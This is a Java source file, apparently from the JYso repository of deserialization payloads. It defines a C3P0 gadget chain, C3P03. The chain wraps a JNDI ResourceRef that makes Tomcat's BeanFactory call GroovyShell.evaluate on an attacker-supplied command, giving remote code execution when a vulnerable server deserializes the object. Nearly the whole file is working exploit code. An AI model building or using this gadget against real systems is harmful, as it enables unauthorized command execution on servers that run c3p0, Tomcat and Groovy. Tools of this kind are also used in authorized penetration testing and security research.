mirror of
https://github.com/qi4L/JYso.git
synced 2026-09-22 06:50:42 +08:00
78 lines
2.3 KiB
Java
78 lines
2.3 KiB
Java
package com.qi4l.JYso.gadgets;
|
|
|
|
import com.mchange.v2.c3p0.PoolBackedDataSource;
|
|
import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase;
|
|
import com.qi4l.JYso.gadgets.annotation.Authors;
|
|
import com.qi4l.JYso.gadgets.annotation.Dependencies;
|
|
import com.qi4l.JYso.gadgets.utils.Reflections;
|
|
import org.apache.naming.ResourceRef;
|
|
|
|
import javax.naming.Reference;
|
|
import javax.naming.Referenceable;
|
|
import javax.naming.StringRefAddr;
|
|
import javax.sql.ConnectionPoolDataSource;
|
|
import javax.sql.PooledConnection;
|
|
import java.io.PrintWriter;
|
|
import java.util.logging.Logger;
|
|
|
|
/**
|
|
* 同 C3P0 2 只不过使用了 Groovy
|
|
*/
|
|
|
|
@SuppressWarnings({"unused"})
|
|
@Dependencies({"com.mchange:c3p0:0.9.5.2", "com.mchange:mchange-commons-java:0.2.11", "org.apache:tomcat:8.5.35", "org.codehaus.groovy:groovy:2.3.9"})
|
|
@Authors({Authors.QI4L})
|
|
public class C3P03 implements ObjectPayload<Object> {
|
|
|
|
public Object getObject(String command) throws Exception {
|
|
|
|
PoolBackedDataSource b = Reflections.createWithoutConstructor(PoolBackedDataSource.class);
|
|
Reflections.getField(PoolBackedDataSourceBase.class, "connectionPoolDataSource").set(b, new PoolSource(command));
|
|
return b;
|
|
}
|
|
|
|
|
|
private static final class PoolSource implements ConnectionPoolDataSource, Referenceable {
|
|
|
|
private final String cmd;
|
|
|
|
public PoolSource(String cmd) {
|
|
this.cmd = cmd;
|
|
}
|
|
|
|
public Reference getReference() {
|
|
ResourceRef ref = new ResourceRef("groovy.lang.GroovyShell", null, "", "", true, "org.apache.naming.factory.BeanFactory", null);
|
|
ref.add(new StringRefAddr("forceString", "QI4L=evaluate"));
|
|
ref.add(new StringRefAddr("QI4L", "'" + cmd + "'.execute()"));
|
|
return ref;
|
|
}
|
|
|
|
public PrintWriter getLogWriter() {
|
|
return null;
|
|
}
|
|
|
|
public void setLogWriter(PrintWriter out) {
|
|
}
|
|
|
|
public int getLoginTimeout() {
|
|
return 0;
|
|
}
|
|
|
|
public void setLoginTimeout(int seconds) {
|
|
}
|
|
|
|
public Logger getParentLogger() {
|
|
return null;
|
|
}
|
|
|
|
public PooledConnection getPooledConnection() {
|
|
return null;
|
|
}
|
|
|
|
public PooledConnection getPooledConnection(String user, String password) {
|
|
return null;
|
|
}
|
|
}
|
|
|
|
}
|